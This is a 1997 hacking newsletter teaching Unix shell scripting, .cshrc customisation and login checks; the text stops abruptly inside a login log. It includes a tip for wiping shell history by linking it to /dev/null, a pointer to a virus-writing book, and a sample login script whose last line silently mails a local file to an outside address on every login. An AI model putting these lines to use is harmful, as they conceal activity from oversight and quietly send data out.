Contents of Volume 5: Shell Programming Part One Shell Programming Part Two Shell Programming Part Three Shell Programming Part Four How to Program in C _________________________________________________________ Guide to (mostly) Harmless Hacking Vol. 5 Programmers' Series No. 1: Shell Programming _________________________________________________________ Honest to gosh -- programming is easy. If you have never programmed in your life, today, within minutes, you will become a programmer. I promise. And even if you are already a programmer, in this Guide you just might discover some new tricks that are lots of fun. Amazingly enough, many people who call themselves hackers don't know how to program. In fact, many el1te haxor types claim they don't need to know how to program, since computer programs that do kewl stuph like break into or crash computers are available for download at those HacK3r Web sites with the animated flames and skulls and doom-laden organ music. But just running other people's programs is not hacking. Breaking into and crashing other people's computers is not hacking. Real hacking is exploring and discovering -- and writing your own programs! ******************************************************** In this Guide you will learn: * Why should hackers learn how to program? * What is shell programming? * How to create and run scripts * Shell scripts on the fly * Slightly stealthy scripts * Examples of fun hacker scripts Plus, in the evil genius tips, you will learn how to: * Talk about the Turning Machine Halting Problem Theorem as if you are some sort of forking genius * Find instructions on how to create deadly viruses * Set your favorite editor as default in Pine * Link your bash history file to dev/null * Keep simple Trojans from executing in your account * Save yourself from totally messing up your .tcshrc, .bashrc etc. files. ******************************************************* Why Should Hackers Learn How to Program? Back in 1971, when I was 24, I was as nontechnical as they come. But my husband at the time, H. Keith Henson, was always talking about "buffer in," "buffer out" and assembly language stuff. Keith was one of the earliest of hackers, and a hacker in the pure sense, someone who wasn't afraid to try unusual things to save memory (a scarce resource on even the biggest computers of the 1970s) or cut CPU cycles. So one June morning, tired of me looking dazed when he came home babbling excitedly about his latest feat, he announced, "You're going to learn how to program." He insisted that I sign up for a course in Fortran at the University of Arizona. The first class assignment was to sit at a punch card machine and bang out a program for the CDC 6400 that would sort a list of words alphabetically. It was so fun that I added code to detect input of characters that weren't in the alphabet, and to give an error message when it found them. The instructor praised me in front of the class, saying I was the only one who had coded an extra feature. I was hooked. I went on to write programs with enough length and complexity that debugging and verifying them gave me a feel for the reality of the Turing Machine Halting Problem theorem. I discovered you don't have to be a genius to become a professional programmer. You just have to enjoy it enough to work hard at it, enjoy it enough to dream about it and fantasize and play with programming in your mind even when you aren't in front of a keyboard. ****************************************************** Evil Genius tip: The Turing Machine Halting Problem theorem says that it is impossible to thoroughly debug -- or even explore -- an arbitrary computer program. In practical terms, this means that it super hard to make a computer network totally secure, and that it will never be possible to write an antivirus program that can protect against all conceivable viruses. For a more rigorous treatment of the Turing Machine Halting Problem theorem -- yet written in language a non-mathematician can understand -- read the "Giant Black Book of Computer Viruses" by Dr. Mark Ludwig, American Eagle Publications. This book will also teach you how to write the most deadly viruses on the planet -- or programs to fight them! You can order it from http://www.amazon.com. Warning-- in order to fully appreciate this book, you have to know assembly language for 80x86 CPUs. But it is the most electrifying computer manual I have ever read!!!! ******************************************************** That is the heart of the hacker spirit. If you are driven to do more and greater things than your job or school asks of you, you are a real hacker. Kode kiddies who think breaking into computers and typing f*** every third word while on IRC are not hackers. They are small-time punks and vandals. But if you aspire to become a true hacker, you will become a programmer, and reach for the stars with your code. What Is Shell Programming? If you have been following the earlier Guides to (mostly) Harmless Hacking (GTMHH), you are already familiar with many fun Unix commands. Shell programming is writing a file that holds a sequence of Unix commands, which you can run in your shell account by typing in only one line. **************************************************** Newbie note: Don't know what a shell account is? Unix leaves you scratching your head? You *must* have a shell account to learn shell programming. You can get one for free at http://sdf.lonestar.org. Just set up a PPP connection and telnet into Lonestar for your Unix fun! However, Lonestar doesn't allow you to telnet out. For a full service shell account, check out http://rt66.com. Yes! They have ssh logins! For details on how to use a shell account and instructions on lots of fun Unix commands, see the GTMHHs on shell accounts at http://techbroker.com/happyhacker.html. ************************************************** If you are familiar with DOS, you may have already done something similar to shell programming: DOS batch files. The basic idea is that you write a series of DOS commands and save them with a file that ends with the extension "bat." For example, you might name your batch file "myfile.bat." Then any time you want to run it, you just type "myfile" and it runs all the commands inside that file. (Note: if you are in a different directory from myfile.bat, you either have to tell your computer where to look for it with a "path" command, or by typing in the entire path, for example "c:\myprograms\myfile.") Unix -- an operating system that was created long before DOS -- can do something very similar to a DOS batch file. Instead of typing Unix commands one by one every time you need them, you can write a shell script that automatically executes that sequence. Then you save it as a file with permissions that make it executable. *************************************************** Newbie note: "Executable" doesn't mean the computer goes out and murders your poor file. It means that when you type the name of that file, the computer looks inside and does what your file tells it to do. "Permissions" mean what can be done by who with a file. For example, you could set the permissions on your shell account file so that only someone in your account could execute it. Or you could make it so anyone in the world could run (execute) it -- something you usually do with the files in your Web site, so that anyone who surfs in may read them. *************************************************** But there is one huge difference between DOS and Unix commands. In DOS, the commands "mkdir" and "MKDIR" do exactly the same thing. In Unix, they would be two totally different commands. Be absolutely careful in this lesson to type all commands in lower case (small) letters, or this stuff will not work. How to Create and Run a Script Why are we starting with shell script programming? The reason is that they are easy. Honest, they *are* easy. So easy, there are several ways to make them. First, let's walk though the Pico way to create a simple script. 1) Open an editor program. We'll use the easiest one: Pico. At the prompt in your shell account, simply type in "pico hackphile." ("Hackfile" will be the name of the script you will create. If you don't like that name, open Pico with the name you like, for example "pico myfilename.") This brings up a screen that looks a lot like the Pine email program's "compose mail" screen. ******************************************************** Evil genius tip: If your shell account is half-way decent, you will have Pine and it will allow you to choose whatever editor you want for composing email. Default is Pico. But you may configure it to use other editors such as the far more powerful vi or emacs. Just go to the main menu on Pine, then to Setup, then to Configure, then scroll down almost to the end of all the options. There will be a line "editor = pico." Put in your favorite editor! If you regularly use Pine to compose email, you will keep in practice by using its editor, making it much easier to write programs. ******************************************************** Here's what your Pico screen should look like: UW PICO(tm) 2.9 File: hackphile [ New file ] ^G Get Help ^O WriteOut ^R Read File ^Y Prev Pg ^K Cut Text ^C Cur Pos ^X Exit ^J Justify ^W Where is ^V Next Pg ^U UnCut Text^T To Spell At the bottom is some fast help, a list of commonly used Pico commands. That "^" thingy means to hold down the control key while hitting the letter of the alphabet that follows. Besides these commands, some others that it helps to know for Pico are: ^e moves the cursor to the end of a line ^a moves the cursor to the beginning of a line ^d deletes a character ^f moves the cursor forward (or use the -> arrow key if it works) ^b moves the cursor backward (or use the <- arrow key if it works) ^p moves the cursor up (or use the up arrow key if it works) ^n moves the cursor down (or use the down arrow key if it works) ^t checks spelling 2) Write in some Unix commands. Here are some fun ones: echo I am a programmer and one heck of a hacker! echo Today I am going to echo $1 $2 $3 $4 $5 $6 $7 $8 $9 3) Now exit Pico. Hold down the control key while pressing "x." Pico will ask you if you want to save the file. Hit the "y" key to save. It will ask you whether you want to save it with the name "hackphile." Unless your change your mind, just hit the "enter" key and you are done. 4) Next make it executable. On most systems, you can do this by typing "chmod 700 hackphile." On some computers the command "chmod +x hackphile" will work. On other computers you might have to write a line in your shell script "#!/bin/bash" (or "#!/bin/tcsh" or "#!/bin/csh" etc. depending on the path to whatever shell you are using) to make it work. Sorry to be so complicated on this instruction, but there are a lot of different kinds of Unix and Unix shells out there. Groan. ****************************************************** Newbie note: That "chmod" command sets permissions. Making a file executable is only one of the many things that magical command does. It also controls who can execute it, who can read it, and who can write it. Damian Bates of Rt66 Internet points out that you could set the permissions so only you could execute that shell script by typing "chmod u+rx filename" (u=you). If you are in a Unix "group," you could allow your group to execute it by typing "chmod g+rx filename" (g=group) or you could give everyone else execute permissions by typing "chmod o+rx filename" (o=other). Any of these can be done in combination such as "chmod ug+rx filename (user and group can read and execute but not write) or "chmod g-rwx filename" If you hate typing all that stuff, you can use numbers as in "chmod 700," which gives you, and only you read, write and execute permission. To add permission to read and execute, but not write, to everyone else, use "chmod 755." To learn more on how to use the number chmod commands, use the command "man chmod." ******************************************************* 5) Now type in: "hackphile forge email from Santa Claus." Press "enter" and you will see on your screen: "I am a programmer and one heck of a hacker! Today I am going to forge email from Santa Claus." Pretty cool, huh? What that last echo command does is find the first word you typed after the "hackphile" command, which is held in the memory location $1, the second word in $2, and so on. Unlike more sophisticated programming languages, you don't need to set up those dollar sign variables in advance -- the stuff you type on the command line after the name of the script automatically goes into those memory locations! Now suppose you want a script to actually forge email from Santa Claus. Unfortunately, this is where you learn the limitations of shell scripts. You can put in the command "telnet foobar.com 25" and be ready to forge email. But if the next command in your shell script is "mail from: santa@north.pole.com," it just won't happen. The problem is that you are no longer in your Unix shell. You now are running a mail program on foobar.com, which does not bring up the rest in your sequence of shell commands. But help is on the way. The programming languages of Perl and C will do the job for you much more easily than a shell script. More on these in later Guides, I promise! How about more fun ways to make shell scripts? Shell Scripts on the Fly In a rush? Do you always do things perfectly? If so, try the "cat" command to create shell scripts. Here's an example of a useful one. Type in: cat > list ls -alK|more w|more Then hold down the control key while hitting the letter "d." This will automatically end the "cat" command while saving the commands "ls -alK|more" and "w|more" in the file "list." Then make it executable with the command: "chmod 700 list." (If chmod 700 doesn't work on your system, try the alternative ways to make it executable in 4) above.) Now, whenever you want to see everything you could ever want to see about your files, followed by a list of info on whoever else is also logged into shell accounts at the Unix box you use, just type in the command "list." This will give you something like: total 127 drwx-----x 8 cpm 1536 Dec 28 14:37 . drwxr-xr-x985 root 17920 Dec 26 17:56 .. -rw------- 1 cpm 0 Aug 27 08:07 .addressbook -rw------- 1 cpm 2285 Aug 27 08:07 .addressbook.lu lrwxrwxrwx 1 cpm 9 Oct 27 15:35 .bash_history -> /dev/null -rw-r--r-- 1 cpm 1856 Oct 8 09:47 .cshrc (snip) 3:01pm up 5 days, 6:48, 9 users, load average: 1.87, 1.30, 1.08 User tty login@ idle JCPU PCPU what phill ttyp0 2:39pm 1 11 -csh flattman ttyp1 2:27pm 4 4 tf kjherman ttyp2 1:13pm 1:43 telnet ftp.fubar.com cpm ttyp4 1:08pm 13 w johnp ttyp5 Sat 6pm 1 1:29 7 -tcsh kjherman ttyp6 1:15pm 1:43 telnet fubar.com kjherman ttyp8 1:16pm 1:43 /bin/csh /usr/local/bin/cmenu momshop ttyp9 2:50pm 10 /usr/local/bin/pine swit ttypa 9:56am 4:20 41 -csh joy ttypc 3:00pm 2 1 -csh *************************************************** Newbie note: What does all that stuff mean? Sorry, this is an advanced GTMHH, so all I'm going to tell you is to give the commands "man ls" and "man who" to find out all this stuff. OK, OK, I'm sorry, here's a little more help. The "|" means "pipe." When you have two commands on either side of a pipe command, this makes the output of the command on the left hand side of the "|" pipe into the command on the right hand side. So "w|more" tells your computer to do the command "w" and pipe its output to the command "more." Then "more" displays the output on your monitor one screen at a time, waiting for you to hit the space bar before displaying the next screen. What does "lrwxrwxrwx 1 cpm 9 Oct 27 15:35 .bash_history -> /dev/null" mean? "l" means it is a linked file. The first set of rwx's mean I (the owner of the account) may read, write, and execute this file. The second rwx means my group may also read, write and execute. The last set means anyone in the world may read, write and execute this file. But since it's empty, and will always stay empty, too bad, kode kiddies. *************************************************** *************************************************** Evil genius tip: In case you saw that supposed bash history file of mine some haxors were making phun of on some email lists, here's two ways you can tell it was faked and they were seriously deficient in Unix knowledge. a) See that funny notation above, "bash_history -> dev/null? My .bash_history has been linked to dev/null (dev/null means "device null" which is a fancy way of saying everything goes to bit heaven never to be seen again) since Oct. 9, 1997 -- long before some sooper genius emailed around that fake file! Here's how you can make your bash history disappear. Simply give the command "ln -s /dev/null ~/.bash_history." b) If you have the bash shell, and haven't linked it yet to dev/null, get into it and use the "talk" command to chat with someone for awhile. Then give the command "more .bash_history." You will see that unlike that supposed bash history file of mine, the stuff you type in during a "talk" session does not appear in the .bash_history file. The guy who faked it didn't know this! Either that, or he did know, and put that in to trick the people who would read it and flame me into revealing their ignorance. The guys who got caught by this trick tried to get out of their embarrassing spot by claiming that a buffer overflow could make the contents of a talk session turn up in a bash history file. Yeah, and yesterday they saw Elvis Presley at a grocery story, too. *************************************************** Slightly Stealthy Scripts Now suppose you are worried about really clueless kode kiddies getting into your shell account. Believe it or not, many people who break into computers are almost totally ignorant of Unix. For example, at Def Con V a friend, Daniel, conducted an informal poll. He asked dozens of attendees if they knew the "cat" command. He found that over half the people there had never even heard of it! Well, *you* know at least one way to use "cat" now! Another example of haxor Unix cluelessness was a fellow who broke into my shell account and planted a Trojan named "ls." His idea was that next time I looked at my files using the Unix ls command, his ls would execute instead and trash my account. But he forgot to give the command "chmod 700 ls." So it never ran, poor baby. ****************************************************** Evil genius tip: Damian advises "NEVER put '.' (the current working directory or cwd) in your path! If you really want "." in your path, make sure it is the last one. Then, if a Trojan like ls is in your current directory, the _real_ ls will be used first. Set your umask (umask is the command that automatically set permissions on all files you create, unless you specify otherwise) to something more secure than 022, I personally use 077. Never give group or other write access to your directory and be leery of what others can read." For your reading enjoyment, use the commands "man chmod" and "man umask" to get all the gory details. ****************************************************** Here are ways to make shell scripts that the average clueless person who breaks into a computer won't be able to run. First, when you name your script, put a period in front of the name. For example, call it ".secretscript". What that period does is make it a hidden file. Some kode kiddies don't know how to look for hidden files with the command "ls -a." After you make your script, don't give the "chmod 700" command. Just leave it alone. Then when you want to execute it, give the command "sh hackphile" (substituting for "hackphile" the name of whatever script you wish to execute). It will execute even though you never gave that chmod 700 command! What you have done with the "sh" command is launch a temporary new Unix shell, and then send into that shell the commands of your script. Here's a cool example. Make this script: cat > .lookeehere! who|more netstat|more Remember to save this script by holding down the control key while hitting the letter "d". Now try the command: ".lookeehere!" You should get back something that looks like: bash: ./.lookeehere!: Permission denied That's what will stump the average kode kiddie, presuming he can even find that script in the first place. Now try the command "sh .lookeehere!" All of a sudden you get screen after screen of really interesting stuff! Your Internet Service provider may have disabled some of the commands of this Guide. Or it may have just hidden them in directories that you can get to if you know how to look for them. For example, if the "netstat" command doesn't work, give the command "whereis netstat." or else "locate netstat." If, for example, you were to find it in /usr/bin, you can make that command work with "/usr/bin/netstat" in your script. If neither the whereis or locate commands find it for you, if you are a newbie, you have two choices. Either get a better shell account, or talk your sysadmin into changing permissions on that file so you can execute it. Many sysadmins will help you out this way -- that is, they will help if when they check their syslog files they don't find evidence of you trying to break into or trash computers. Neat trick: take your sysadmin to a fancy restaurant and wait to ask him for access to EVERY Unix command until after you have paid for his meal. ***************************************************** Evil genius tip: Your sysadmin won't let you run your favorite Unix commands? Don't grovel! Compile your own! Most ISPs don't mind if you keep and use your favorite Unix stuff in your own account. Says Damian, "I tend to keep my own binaries in ~/bin/ (My home directory slash bin) and put that in my path. (With the directory being 700 or drwx------ of course)." Where can you get your own? Try http://sunsite.unc.edu/pub/Linux/welcome.html ***************************************************** Now it's time to really think about what you can do with scripts. Yes, a shell script can take a complex task such as impressing the heck out of your friends, and make it possible for you to do by giving just one command per cool stunt. If you are a bit of a prankster, you could create a bunch of scripts and use them to make your friends think you have a special, super duper operating system. And in fact you really will, honestly, be in control of the most special, wonderful operating system on the planet. The beauty and power of Unix is that it is so easy to customize it to do anything and everything! Windows no! Unix yes! **************************************************** Evil Genius tip: Bring up the file .login in Pico. It controls lots of what happens in your shell account. Want to edit it? You could totally screw up your account by changing .login. But you are a hacker, so you aren't afraid, right? Besides, if you mess up your shell account, you will force yourself to either learn Unix real fast so you can fix it again, or else make friends with tech support at your ISP as your try to explain why you accidentally mapped the letter "e" to mean "erase." (I did that once. Hey, no one's perfect!) For example, do you have to put up with some babysitter menu every time you log in? Do you see something that looks like "/usr/local/bin/menu" in .login? Put a "#" in front of that command (and any other ones you want to put to sleep) and it won't execute when you login. Then if you decide you are sorry you turned it off, just remove the "#" and that command will work again. Damian adds "Of great importance to newbies and a sign of great intelligence in advanced Unix gurus is backing up before you screw it up, i.e., in your pico of .cshrc. Their command lines should contain: mkdir .trash;chmod 700 .trash;cp .cshrc .trash; pico .cshrc. "Or, make the following alias in your .cshrc after creating your '.trash'directory: alias backup 'cp \!$ ~/.trash' "When you next source the .cshrc, you just type 'backup filename' and it will be copied into the .trash directory in case you need it later. "Modify the startup script, save the changes and then telnet in a second time to see if it works. If it doesn't, fix it or 'cp ~/.trash/.cshrc ~'. I don't recommend you 'source' the newly modified file because if it's screwed, so are you. It's always best to keep one session untarnished, just in case. If it works OK on your 2nd login, then you can 'source .cshrc;rehash;' in your first window to take advantage of the changes made." ******************************************************* OK, now how about just cutting loose and playing with scripts? See what wonderful things you can do with them. That's what being a hacker is all about, right? And thanks to Damian Bates, great fan of the Bastard Operator from Hell, for reviewing and contributing to this Guide. Check out his Web site at http://bofh.mysite.org/damian. Parental discretion advised:) _______________________________________________________________________ Where are those back issues of GTMHHs and Happy Hacker Digests? Check out the official Happy Hacker Web page at http://techbroker.com/happyhacker.html. We are against computer crime. We support good, old-fashioned hacking of the kind that led to the creation of the Internet and a new era of freedom of information. So don't email us about any crimes you have committed! To subscribe to Happy Hacker and receive the Guides to (mostly) Harmless Hacking, please email hacker@techbroker.com with message "subscribe happy-hacker" in the body of your message. Copyright 1997 Carolyn P. Meinel, cmeinel@techbroker.com. You may forward or post this GUIDE TO (mostly) HARMLESS HACKING on your Web as long as you leave this notice at the end. _________________________________________________________ R.J. Gosselin, Sr. ~+~+~+~~+~+~+~+~+~+~+~~+~+~+~+~+~+~+~+ Editor-In-Chief -- Happy Hacker Digest ~+~+~+~~+~+~+~+~+~+~+~~+~+~+~+~+~+~+~+ "There is no way you're describing our system, she could never have gotten past our security. But I'm going to find her and see that she's prosecuted ... she broke the law, and she's going to pay!" President of "Blah Blah Bank" -->>> Does anybody ELSE see a small discrepancy here ??????? ***************************************** For full story (and many others), download "External Threats to Computer Security in Networked Systems" from Winn Schwartau's InfoWar.com bookstore @ www.infowar.com _________________________________________________________ Guide to (mostly) Harmless Hacking Vol. 5 Programmers' Series No. 2: Shell Programming: an Exploit Explained, Part 1 _________________________________________________________ by Carolyn Meinel and BOFH (finger us for important security tips!) "What?" you wonder. "Another GTMHH on shell programming?" Some people complained about the first of this GTMHH Programming Series because it didn't look like it had much to do with breaking into computers. I hope you weren't one of those d00dz, because to run almost any exploit program, you need to understand shells and shell programming. Of course that also means you must have a shell account. To find out how to get one, see the GTMHHs on "How to Get a Good Shell Account" at http://www.happyhacker.org. ========================================================= In this Guide you will learn: * Why shell programming is important * The t shell (tcsh) and where to get it * How to customize your login shell script to make it: easier to use more secure more phun:) * How to discover all available Unix commands * The C language compiler * An exploit explained: how to break into a computer in one easy shell script * How to explore a computer from inside a shell account * How to read email directly from the mail spool * Library programs ========================================================= WHY SHELL PROGRAMMING IS IMPORTANT We are doing yet more on Unix shells because almost any serious break-in program does its deed from inside a Unix shell. This is a difficult subject to teach because there are many varieties of Unix and many Unix shells. There also is that big unknown called "library functions." Most exploit programs use many library functions. If the computer on which you have a shell account doesn't have the required compiler or libraries, you can't run exploits. =========================================================== Newbie Note: This Guide uses the following concepts: * Unix shell: A program that provides you with a wonderful storehouse of commands which it turns into instructions that your computer can understand. The same Unix operating system may accept different commands depending on what shell you use. And different flavors of Unix (Linux, Sun OS, Solaris, AIX, Irix, FreeBSD, etc.) offer different sets of commands that you can use. You can also create your own shell commands -- something this Guide will teach you. * Interpreted programs: Your computer reads and performs your commands line by line. This kind of program is easy to write and use, but slow. * Compiled programs: A compiler reads the commands line by line, figures out how to run these commands fast, and writes them into a compiled program. This kind of program is harder to make. But once compiled, it runs much faster than an interpreted program. * Script: A sequence of commands which is interpreted rather than compiled. The most common scripts you will create or use in hacking are shell scripts and Perl programs. A shell script is a series of Unix commands that are automatically executed (run) when you simply enter the name you gave to that script. What this means is that each script becomes a new Unix command for you to use. * Library functions and other library programs: These are compiled programs that your computer stores which may be used by many other programs. This saves disk space and programming time because each program that uses the instructions of a library program can simply call it from the library. * Binaries: These are the kind of files made by compilers. A binary can be an entire program, or just a portion of a program used by many other programs (for example the library functions). =========================================================== There is no way this Guide -- or even a big, fat Unix manual -- could tell you all you may wish to know about the flavor of Unix you are using and its many shells, and all the library programs the exploits you want to run might use. So at this point in the Programmers' Series we concentrate on showing you how to discover what the shells, compilers and library programs of your account will allow you to do. Besides, you may discover your shell account is hopelessly crippled. Some Internet service providers are so afraid of hackers that they disable the use of compilers and put the library programs off limits. After reading this Guide, you will appreciate why they do this. You will also understand what to look for in a good shell account. This may even inspire you to install Unix on your home computer so your skills will be the only limit on your system. ============================================================ DISCLAIMER (from BOFH): The information shown in this Guide is known to work with Linux, OpenBSD, FreeBSD, SunOS and Solaris. The instructions of this Guide may not work with other flavors of Unix. Please note that I'm not a technical writer, nor do I plan on doing this for a living. I'm just attempting to pass on a bit of knowledge. If someone finds a mistake, gleaming error or typo, do me a favor... bite me. ============================================================ THE T SHELL (TCSH) AND WHERE TO GET IT This Guide will concentrate on only one Unix shell: the T shell (tcsh). That is shorthand for TENEX C Shell, an enhanced version of the Berkeley csh (C shell). Tcsh is the most powerful shell for people who wish to learn about every command they have the power to use. Also, it is easy for spastic typists (like me -- Carolyn) to use. To delete messed up stuff, just backspace! To repeat a command, just use the up arrow to get to it. The very first thing you need to do is find out if you have tcsh. Try the following commands: which tcsh whereis tcsh locate tcsh As a last result, you can try "find". But be warned, many sysadmins don't like that command because it is slow and disk intensive. The find command can put a serious lag on the machine. Once you find where your tcsh is, make sure it's a "valid shell". This can be done by checking whether it is in the "/etc/shells" file. This may be done with the command: ->grep tcsh /etc/shells (Note: throughout this Guide, "->" represents your command prompt.) If you get back something like: /bin/tcsh Then you can safely use tcsh. If you don't get anything back, then I (BOFH) suggest you contact your ISP and ask them to install it and add it to the valid shells list. Yes, you can compile and install your own version. But if your shell is _not_ listed in the valid shells file, you may run into difficulties using programs such as ftp (incoming ftp) since many ftp daemons check to see if the user has a valid shell before logging in. If you're not grep savvy, try just `cat`ing the file: ->cat shells This should give you something that looks like: /bin/sh /bin/bash /bin/tcsh /bin/csh /bin/zsh /bin/ash If you discover tcsh in that file, at the prompt in your Unix shell account, simply type "tcsh" and play with it for awhile. If you find that you prefer tcsh over your current shell, you can use the "chsh" command to make it your primary shell so that everytime you log in, you will already be in tcsh: ->chsh tcsh This should give the result: Changing login shell for cpm on mack. Old shell: /bin/bash New shell: /bin/tcsh ============================================================ Evil genius tip: Don't have tcsh? Do you run some sort of Unix on your home computer? Then you can install it. To find a tcsh that will run under your version of Unix, do a Web search. For example, for one that runs on almost any type of Linux, you will probably be able to use the tcsh at the Debian Linux Web site, http://www.debian.org. Of course you will have to compile it, but if you are an evil genius you either already know how to do that, or will figure out enough from this Guide to successfully compile tcsh. ============================================================ HOW TO CUSTOMIZE YOUR LOGIN SHELL SCRIPT BOFH points out that in the world of vanilla Unix, different shells have different startup files. For example: bash: .profile sh: .profile csh: .cshrc tcsh: .cshrc zsh: $ZDOTDIR/.zprofile and/or $ZDOTDIR/.zshrc I [BOFH] could go on with the different shells out there, but these are the most common. btw... There's even an lsh which emulates a doslike environment. It sorta kinda sucks because if you're on a *nix ("*nix" stands for all the kinds of Unixes) system you want to use a *nix like shell but it's fun to use as a prank. Most all of these startup files read the files .login and .logout. Let's assume you have tcsh. The first thing you may wish to do is customize it. It would be really shameful for a hacker like you or me to have an ordinary shell. Here's how you can see how your shell is set up. The settings for tcsh are in a file named ".cshrc". This is a shell script, a program consisting of a series of Unix shell commands. To read what is in it, give the command: ->cat .cshrc|more (Or give the command "more .cshrc". The Unix motto is "There's more than one way to do it.") This will display the contents of this script on your monitor. Following is an example of the commands in a good .cshrc script: echo "-------------------------------------------" echo "To err is human..." echo " To get caught is just plain stupid..." echo " Fatal Error" echo "-----------Big brother is watching----------" if (! ${?hostname} ) setenv hostname 'fubar' umask 076 set path=( ~/bin /usr/local/bin /bin /usr/bin /usr/local/sbin ) set path=( $path /usr/openwin/bin /usr/X11/bin /usr/local/X11/bin ) set path=( $path /usr/ucb /usr/libexec /usr/etc /etc /usr/games ) set path=( $path /usr/sbin ) setenv host `uname -n` setenv WWW_HOME http://www.fubar.com/ setenv LD_LIBRARY_PATH "/usr/openwin/lib:/usr/local/X11/lib:/usr/X11/lib" setenv MANPATH "/usr/man:/usr/share/man:/usr/local/man" setenv VISUAL pico setenv EDITOR pico setenv PGPPATH ~/.pgpdir mesg y #set autologout=(0 40) set exinit set history=40 set implicitcd set listjobs set listlinks set listjobs=long set noclobber set prompt="%U\n(`whoami`) fubar:%u \n%~ %# " set tperiod=1 set rmstar set watch=(1 friend1 any friend2 any enemy1 any enemy2 any) unset autologout if ($?USER == 0 || $?prompt == 0) exit alias a 'alias | more' alias cd 'cd \!*' alias check 'last | grep -v fubar.com | grep -v ftp | grep -v "^U"' alias cp 'cp -i -p' alias cls 'clear' alias dd 'ls -lgF \!* | more' alias ddm 'ls -lgF \!* | more' alias elm 'pine' alias jobs 'jobs -l' alias ld 'ls -ld $1' alias ls 'ls -F' alias pico 'pico -w -z' alias port 'ps -aux | grep $1' alias quit 'exit' alias scr 'source .cshrc;rehash' alias su "ksu" alias sz 'sz -w 2048' alias w 'w|sort|more' alias who 'who|sort|more' alias whois 'whois -h rs.internic.net' alias viman 'man \!$ | col -b > /tmp/myman$$;vi /tmp/myman$$;rm /tmp/myman$$' /usr/lib/sendmail x@techbroker.com < .junk HOW TO MAKE YOUR SHELL MORE SECURE If you really consider yourself a hacker, you may choose to change your .cshrc to make it more secure. Here's how to rewrite your .cshrc: 1) Just in case you mess up and don't care to admit to tech support at your ISP that you have been messing with .cshrc, the first thing you should do is save it with a new name. One way to do this is to give the command: cp .cshrc .cshrc.old Then if you don't like the results of this exercise, you can fix it by just giving the command: cp .cshrc.old .cshrc 2) Now you are ready to change .cshrc. Give the command "pico .cshrc" (substitute "vi" or "emacs" if you prefer those editors). This opens the program that runs every time you start up your C shell. 3) Here's something good to change. See all those commands above that begin with "alias"? Those are commands that allow you to run complicated commands by only typing in one letter or word. Enter those aliases in you login script and see how you like them. In the case of the alias "check," substitute the domain name of the computer you are using for "fubar.com". 4) Do you wish to be able to easily access lots of good commands? That is what the "set path" command is for. Good paths depend on the flavor of Unix you're running. Good generic paths could be: set path=( ~/bin /usr/local/bin /bin /usr/bin /usr/local/sbin ) set path=( $path /usr/openwin/bin /usr/X11/bin /usr/local/X11/bin ) set path=( $path /usr/ucb /usr/libexec /usr/etc /etc /usr/games ) set path=( $path /usr/sbin ) This will have some erroneous directories but it's generic and something you could use on Linux, FreeBSD, OpenBSD, Sun OS and Solaris. With other flavors, your mileage may vary. 5) When you are done editing, here's how pico saves it: * hold down the control key and hit the letter "x" * pico asks, "Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?" Hit the "y" key to save it. * pico asks "File Name to write : .cshrc" Just hit enter. Your login file must be named ".cshrc" for it to run whenever you log in. ============================================================ Evil genius tip: Want to be a hacker? Take a serious look at learning "vi". It is a quick and powerful Unix editor that can do tedious tasks in a short amount of time. Head down to your local book store (or http://www.amazon.com) and pick up a good vi book. Two to look for are: "Unix in a Nutshell" by O'Reilly (ISBN: 1-56592-001-5), and "Vi" by O'Reilly ============================================================ ============================================================ Evil genius tip: Are you a serious programmer? Do you plan to become a serious programmer? If your .cshrc is missing anything in the example script above, try adding those commands. ============================================================ Now, by setting aliases for your shell, you have made it easier to use, and also more secure. Try out the aliased commands "w", "who", and "check". The first two tell you who is currently logged into shell accounts on the same computer you are on. "Check" shows you the log of whoever has logged into the computer you use from telnet or ssh from outside that computer system. If you see an unusual pattern of logins, you may suspect there is a problem. Here's how these commands work. I [Carolyn] am using one of our Hacker Wargame computers for the example below so you will get a chance to see how we find out whether there has been an intruder in my account. Netstat is really great because it tells you so much: Active Internet connections Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 cryptotek.http sol7.cs.wisc.edu.33089 FIN_WAIT_2 tcp 0 0 cryptotek.http sol7.cs.wisc.edu.33088 FIN_WAIT_2 tcp 0 20 cryptotek.ssh pmd05.rt66.com.1753 ESTABLISHED Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr f05e7f00 dgram 0 0 0 f03dcf14 0 f03dcb14 f05f9200 dgram 0 0 0 f03dcf14 0 f03dcd14 f05e9600 dgram 0 0 0 f03dcf14 0 f03dcd94 f05eba00 dgram 0 0 0 f03dcf14 0 0 f05a9000 dgram 0 0 f05ab680 0 f03ecc94 0 /var/run/log This readout tells us is that a guy from the University of Wisconsin is reading our Web site at http://cryptotek.happyhacker.org, while I am logged in with an ssh (Secure Shell, which encrypts my communications) connection. The commands "w" and "who" only tell you who is actually logged into a shell account and what they are doing just now. They both identify the same people, but give somewhat different information on their activities. Here's a "w" command readout: 1:05PM up 2 days, 17:42, 2 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT cryptik p0 206.206.108.7 1:02PM - (pine) cmeinel p1 pmd05.rt66.com 12:31PM - w This means Cryptik is in his shell account reading his email using the Pine program while I (Carolyn) am snooping on him with the "w" command. If your ISP has logs readable by users, that alias in your .cshrc named "check" will tell you everyone who has logged into their shell accounts lately: cmeinel ttyp0 152.172.76.111 Thu Apr 23 14:25 - 16:30 (02:05) (snip) cryptik ttyp0 206.206.108.7 Thu Apr 23 13:02 - 13:06 (00:04) mrcurt ttyp1 152.166.28.22 Thu Apr 23 01:23 - 02:02 (00:38) (snip) cryptik ttyp0 152.167.87.187 Wed Apr 22 19:18 - 19:20 (00:02) cryptik ttyp0 152.173.170.182 Wed Apr 22 17:55 - 17:56 (00:00) root ttyv0 Wed Apr 22 17:02 - 17:04 (00:02) cryptik ttyp0 152.171.172.203 Wed Apr 22 15:25 - 15:29 (00:03) protocol ttyp1 152.204.20.98 Wed Apr 22 01:43 - 01:59 (00:16) cryptik ttyp0 152.170.244.211 Tue Apr 21 23:41 - 02:28 (02:47) cmeinel ttyp1 bofh.foobar.org Tue Apr 21 22:09 - 22:17 (00:08) xmyth ttyp0 152.203.67.27 Tue Apr 21 18:11 - 18:12 (00:00) (snip) 420smk ttyp0 152.172.97.237 Tue Apr 21 14:35 - 14:36 (00:01) root ttyv0 Tue Apr 21 14:03 - 14:04 (00:00) root ttyp2 152.171.159.158 Tue Apr 21 01:25 - 02:10 (00:45) cryptik ttyp1 206.206.108.7 Tue Apr 